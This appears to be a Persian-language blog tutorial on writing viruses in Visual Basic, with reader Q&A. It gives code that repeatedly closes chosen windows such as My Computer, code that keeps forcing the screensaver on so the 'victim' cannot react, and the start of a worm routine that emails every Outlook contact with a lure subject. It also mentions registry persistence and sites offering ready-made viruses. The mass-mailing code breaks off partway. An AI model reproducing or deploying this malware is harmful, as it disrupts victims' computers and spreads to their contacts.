Private Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long

و در نهایت این کدها را هم در برنا مه تون قرار بدبد

Private Sub Timer1_Timer()

Dim handel As Long

handel = FindWindow(vbNullString, "form1")

If handel <> 0 Then

SetForegroundWindow handel

SendKeys "%{f4}", 1

End If

End Sub

این برنامه یه timer باinterval=۱هم می خواد

و اما توضیح برنامه:

در این برنامه.پس از اجرا برنامه بدنبال پنجره ای با نام مورد نظر می گرده و در صورت پیدا کردن اون رو  می بنده.

دوستان نیازی به توضیخ خط به خط نمی بینم ولی اگه خواستید بگید تا ذکر کنم

در ویروس نویسی بعد از مهارت(شاید هم قبل از اون)مهم ترین عامل موفقیت یه ویروس نویس خلاقیته

برای مثال شما می تونید بجایmy computerهر عبارت دیگه ای که معمولا بسیار پرکاربرد هستند      مثلmy documentsیا برنامه های کاربردی نظیر media playerیا dial up connectionرا قرار بدید

فکر نمی کنم لازم به توضیح باشه که اگه بخاییم ویروس با هم تعداد زیاد تری از پنجره ها رو ببنده کافیه تایمر های جدیدی اضافه کنیم و کدهای مربوط به تایمر اول را با تغییر my computerبه عبارت مورد نظر در قسمت کد نویسی آن تایمر ها قرار دهیم

تا اگه هر کدوم از پنجره ها یا برنامه های مورد نظر اجرا شد اونها را ببنده

امید وارم خوشتون اومده باشه

نظر یادتون نره

بسمه تعالی

دوستان واقعا از تاخیر چند هفته ای در بروزرسانی وبلاگ شرمندم

بالاخره امتحانات ترم هم تموم شد .آخیش

در ضمن بهتون قول میدم  با ویروسهای جدید به لطف همهی شما از اینکه تو این مدت وبلاگ خودتون را فراموش نکردید  جواب بدم

*******************************************************************

خب حالا نظرات شما:

دوستان عزیزمون محسن.ریش.رضا.داود.محمدواحسان خیلی به ما لطف داشتن ولی اگه لطف کنن چند تا انتقاد هم بکنن ممنون میشم

تینا خانم لطف کردن یکی از مطالب  را تو وبلاگ(2khtarebarfi.blogfa) خودشون گذاشتن که از ایشون متشکرم.

دوست عزیزمون ht هم پرسیده بود که(حتما باید کامپیوتر رو ریست کنم تا کار این ویروس شروع بشه؟؟)در جواب باید بگم که در واقع با اولین کلیک ویروس خودش را در رجسیتری کپی میکنه تا با هر بارروشن شدن کامپیوتر اجرا بشه ولی ویروس خودش نیاز به ریست نداره 

اقا محسن هم خواستن که ما در مورد ویروسهای ایرانی(فکر کنم منظورشون  تروجانهای ایرانی باشه)توضیح بدیم باید عرض کنم اگه منظورتون ویروسه تمامی ویروس های این وبلاگ از منابع داخلیه(ایرانی محسوب میشن) ولی در مورد اموزش تروجان باید بگم که هدف من در اموزش ویروس اینه که در واقع بتونم دوستان را تا اونجایی که خودم با vb اشنام  اشنا کنم ولی اصلا علاقه به استفاده از  تروجانها ندارم و به شما هم توصیه نمی کنم

اما در مورد ادرسهایی که گذاشته بودی:هر دوی این لینکها جزو سایتهایی هستند که ویروسهای  اماده ارائه میکنن (البته کرم و توجان هم دارن)و شما می تونین اونها را بگیرین اما در نظر داشته باشید که این ویروسها معمولا خیلی تابلو هستن و زود لو میرن

اما خیلی ها میپرسن که این ویروسها کار میدن یا نه؟در جواب باید بگم بجز ویروس سوزاننده ی cpu بقیه صد در صد کار می کنن اون را هم ترسیدم که امتحان کنم در ضمن چون با vb هم نیست خذفش      می  کنم

Private Const SC_SCREEnSAVE = &HF140&
Private Const WM_SYSCOMMAND = &H112
Private Declare Function FindWindowA Lib "user32" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParm As Any) As Long
Sub ScreenSaver(blnScreenSaver As Boolean, Optional lHwnd As Long, Optional sFormCaption As String)
Dim lState As Long
If lHwnd = 0 Then
lHwnd = FindWindowA(vbNullString, sFormCaption)
End If
If blnScreenSaver Then
lState = 1
Else
lstat = -1
End If
Call SendMessage(lHwnd, WM_SYSCOMMAND, SC_SCREEnSAVE, lState)
End Sub

و در اخر یه timerبا قابلیت interval=1 به فرم اضافه کنید و کد های زیر را به فرم اضافه کنید(کپی کنید)

Private Sub Timer1_Timer()
Call ScreenSaver(Me.hWnd, Me.hWnd, -1)
End Sub

تو ضیحات:
۱-صرفا عاملی که بر نامه رو به یه شبه ویروس تبدیل می کنه وجوده تایمره با قابلیت intervalبسیار کم برای
گرفتن هر گونه قدرت عکس العمل از قربانی میگیره چون باعث میشه هربار که کاربر screen saver
را غیر فعال می کنه دوباره اونو اجرا کنه

۲-اگر چه یاداوری این مطلب را غیر ضروری می دونم ولی این کدها وربوط به ویژوال بیسیکه

سلام دوباره

ویروس ها از هر نوع که باشند حداقل در سه ویژگی مشترکند

1-پنهان بودن

2-اجرای اتوماتیک

3-توانایی توزیع خود

توانایی اول و دوم را در پست اول کامل توضیح دادم(حتما بخونید)

حالا می رسیم به قابلیت سوم یعنی توانایی توزیع خودکار ویروس

برای این کار کافیه این کدها را در برنامه قرار بدید

Set OutlookApp = CreateObject("Outlook.Application")

If Not OutlookApp = "" Then

For Each ContactSwitch In OutlookApp.GetNameSpace("MAPI").AddressLists

For UserGroup = 1 To ContactSwitch.AddressEntries.Count

Set OutlookEmail = OutlookApp.CreateItem(0)

OutlookEmail.Recipients.Add ContactSwitch.AddressEntries(UserGroup)

OutlookEmail.Subject = "Check this out!"

OutlookEmail.Body = "Look at the file in the attachments, It's great! :P"